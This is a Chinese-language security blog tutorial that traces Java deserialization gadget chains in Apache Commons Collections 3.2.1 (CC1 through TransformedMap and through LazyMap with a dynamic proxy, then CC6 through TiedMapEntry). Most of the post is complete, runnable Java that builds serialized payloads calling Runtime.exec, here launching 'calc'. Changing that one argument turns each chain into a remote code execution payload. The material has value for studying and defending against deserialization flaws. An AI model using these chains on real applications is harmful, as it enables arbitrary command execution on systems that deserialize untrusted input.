xiao1star2026-01-12文章来源:SecHub网络安全社区

因为有些链子对common-collections的版本有要求因此使用的是3.2.1
1.为了方便代码的调试对jdk中的依赖进行更改,访问如下页面下载openjdk的东西
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

将下载之后的文件打开将其中的sun包复制下来,放到自己使用的jdk的src文件中

之后再将自己的jdk的src文件导入到idea中

这样就可以动调jdk中的代码了
环境
InvokerTransformer中的tranform方法的通过反射导致的任意参数执行

如下是利用一个transform弹出一个计算器
public class CC1 implements Serializable
{
public static void main( String[] args ) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);}
}
通过查找谁实现了trandform方法,发现了TransformedMap类中的checkSetValue()调用了该方法

查找该类的构造方法,发现还是protected修饰,无法直接实例化该对象

可以通过找该类中的由public修饰的方法,同时调用了该构造方法,发现有一个decorate方法会创建一个TransformedMap对象

现在我们重新构造这个链,也就是decorate方法实例化一个TransformedMap对象,其中valueTransformer的值应该是InvokerTransformer,接着调用其checkSetValue()方法调用InvokerTransformer.transform方法
public class CC1 implements Serializable
{
public static void main( String[] args ) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//初始化InvokerTransformer对象,参数就是我们要执行的恶意攻击的方法名、参数类型、参数
HashMap<Object,Object> map=new HashMap<>();//生成一个hashmap满足于下面的实例化TransformedMap的参数需求
TransformedMap transformerMap=(TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);//实例化TransformedMap
Class transformedMapClass=TransformedMap.class;//因为checkSetValue是由protected修饰使用反射来实现
Method checkSetValuemethod =transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValuemethod.setAccessible(true);
checkSetValuemethod.invoke(transformedMapClass,runtime);}
}
}

目前的链子到了checkSetvalue()方法中,我们接着顺腾摸瓜查看哪个地方又调用了checkSetValue方法
在AbstractInputCheckedMapDecorator中内部类MapEntry有一个setValue方法调用了checkSetValue方法,同时是parent.checkSetValue(value).
setValue() **实际上就是在 Map 中对一组 entry(键值对)**进行 setValue() 操作。

我们逐一跟进看一下

也就是说当我们使用decorate方法实例化一个transformedMap后,对该map进行遍历时会调用setValue方法,setValue方法中的值填写为要实现的类对象(runtime)
public class CC1 implements Serializable
{
public static void main( String[] args ) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> transformerMap=(TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry<Object,Object> entry:transformerMap.entrySet()){
entry.setValue(runtime);
}

目前的整体流程

在AnnotationInvocationHandler类中的readObject类中调用了Setvalue()方法,我们注意到类的名字为 AnnotationInvocationHandler,InvocationHandler 这个后缀,我在动态代理里面提到过,是用做动态代理中间处理,因为它继承了 InvocationHandler 接口。

仔细看是上面的memberValue调用了setValue方法,我们查看其构造方法发现memberValue是一个Map对象,那我们把transformerMap传给它即可,还有一个type其实就是我们的伪代码(@Override)

同时要注意的是AnnotationInvocationHandler的构造方法是默认的default修饰的,也就是只能在该类中的包底下执行,需要进行反射。
注意:直接在测试类中无法直接查到AnnotationInvocationHandler需要使用Class.forName方法写上包名来获取Class对象

public class CC1 implements Serializable
{
public static void main( String[] args ) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("value","key");
Map<Object,Object> transformerMap=(TransformedMap)TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry<Object,Object> entry:transformerMap.entrySet()){
entry.setValue(runtime);
}
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射处理
Constructor annotationinvocationHandlerContructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationinvocationHandlerContructor.setAccessible(true);
Object o=annotationinvocationHandlerContructor.newInstance(Override.class,transformerMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
ObjectInputStream oss=new ObjectInputStream(new FileInputStream(name));
Object obj=oss.readObject();
return obj;
}
}
但是要注意的是还有几个问题未解决


3.memberValue.setValue()中的内容是我们无法控制的

解决问题1
要知道Runtime的class是可以序列化的,我们可以利用transformer来序列化
有一个ChainedTransformer类的transform方法,可以是实现前一个结果的 值当作后一个的object参数的值

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null} ),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
解决问题2
分析如下代码发现我们需要找一个有成员方法的伪代码(注释),同时数组的key值要与其成员名字一致
其次memberType.isInstance(value) 是一个用于检查 value 是否是 memberType 类的实例或该类的任何子类的实例的方法,那肯定不是的所以第二个过去
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取注释中的成员方法
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();//获取membervalye中的key值
Class<?> memberType = memberTypes.get(name);//在注解的成员方法名中查找这个key
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
我们将代码修改如下
Target注解类,该类中有一个成员方法为value,可以通过这个来实现注释中的成员方法名与membervalye中的key值

HashMap<Object,Object> hashMap = new HashMap<>();
map.put("value","key");//将其key值赋值为value
Map<Object,Object> transformerMap=(TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry<Object,Object> entry:transformerMap.entrySet()){
entry.setValue(runtime);
}
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationHandlerContructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationinvocationHandlerContructor.setAccessible(true);
Object o=annotationinvocationHandlerContructor.newInstance(Target.class,transformerMap);
解决问题3

由于memberValue.setValue的参数值是确定的导致无法走到想要的transform下
我们有一个ConstantTransformer类其中他的transform是返回传入值的本身,加一个new ConstantTransformer(Runtime.class)即可

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//用于最后确定transform(value)值是Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null} ),//下面三行就是利用反射,使其能够反序列化
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
根据上述的内容我们再调试一下
在ChainedTransformer类中的第122行打上断点

开始调试,发现但i=0时object参数值是AnnotationTypeMismatchExceptionProxy类,也就是AnnotationInvocationHandler中setValue方法给定的值


当i=1时,object值就变为了class java.lang.Runtime

这是因为CC链中new ConstantTransformer(Runtime.class),调用ConstantTransformer的transform方法会返回传参值本身也就是untime.class


利用链的整体过程

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* Hello world!
*
*/
public class App implements Serializable
{
public static void main( String[] args ) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//用于最后确定transform(value)值是Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null} ),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","key");
Map<Object,Object> transformerMap= TransformedMap.decorate(map,null,chainedTransformer);//用于实例化TansformedMap对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhandlerconstruct=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhandlerconstruct.setAccessible(true);
Object o=annotationInvocationhandlerconstruct.newInstance(Target.class,transformerMap);//实例化一个AnnotationInvocationHandler会默认调用setValue方法,进而调用checkSetValue(),进而调用transform方法
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
ObjectInputStream oss=new ObjectInputStream(new FileInputStream(name));
Object obj=oss.readObject();
return obj;
}
}
与上面不同的是在AnnotationInvocationHandler中的invoke方法中调用了get方法,这个涉及到了动态代理
在LazyMap中会对其factory调用transfrom()方法

AnnotationInvocationHandler中的invoke方法中调用了get方法,可以考虑使用动态代理

只用动态代理无法触发反序列化,我们需要readObject作为入口,发现InvocationHandler中有一个entryset()其方法没有参数,
将 memberValues 的值改为代理对象,当反序列化时会自动调用AnnotationInvocationHandler中重写的readObject方法,该方法中会调用memberValues.entrySet(),那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1LM {
public CC1LM() throws ClassNotFoundException, NoSuchMethodException {
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorateMap);//实例化AnnotationInvocationHandler对象,
//下面是一个动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.getSystemClassLoader() , new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
ObjectInputStream oss=new ObjectInputStream(new FileInputStream(name));
Object obj=oss.readObject();
return obj;
}
}
好处:不会限制jdk版本,任何时候都可以使用
下图是LazyMap的get方法

链的形成
HashMap.readobject->TiedMapEntry.hashCode->LazyMap.get->ChainedTransformer.transform
1.HashMap中的readObject方法中对key用到了hash方法,在hash中用到了hashcode方法


2.TiedMapEntry类中用到了hashCode()方法,里面的getValue方法会调用get方法


让TiedMapEntry的map值变为LazyMap对象即可,让HashMap中的key值为TiedMapEntry对象。
要注意HashMap中的put方法会自动调用hash()方法,因此为了防止put方法调用hash方法进而调用hashCode()方法就需要在put时先设置一个没有意义的值,之后使用反射来需改key值

完整的链
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap,new ConstantTransformer(1) );//本应是(hashMap, chainedTransformer)但是为了避免put方法调用hash方法
TiedMapEntry tiedMapEntry=new TiedMapEntry(decorateMap, "aaa");
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry, "bbbb");
decorateMap.remove("aaa");
//将LazyMap的factory修改为chainedTransformer
Class c=LazyMap.class;
Field Field = c.getDeclaredField("factory");
Field.setAccessible(true);
Field.set(decorateMap, chainedTransformer);
serialize(map2);
unserialize("CC6.ser");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC6.ser"));
oos.writeObject(obj);
}
public static Object unserialize(String name)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(name));
return ois.readObject();
}
}
问题为什么要使用
decorateMap.remove("aaa");
在Lazymap中:
序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。
这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。
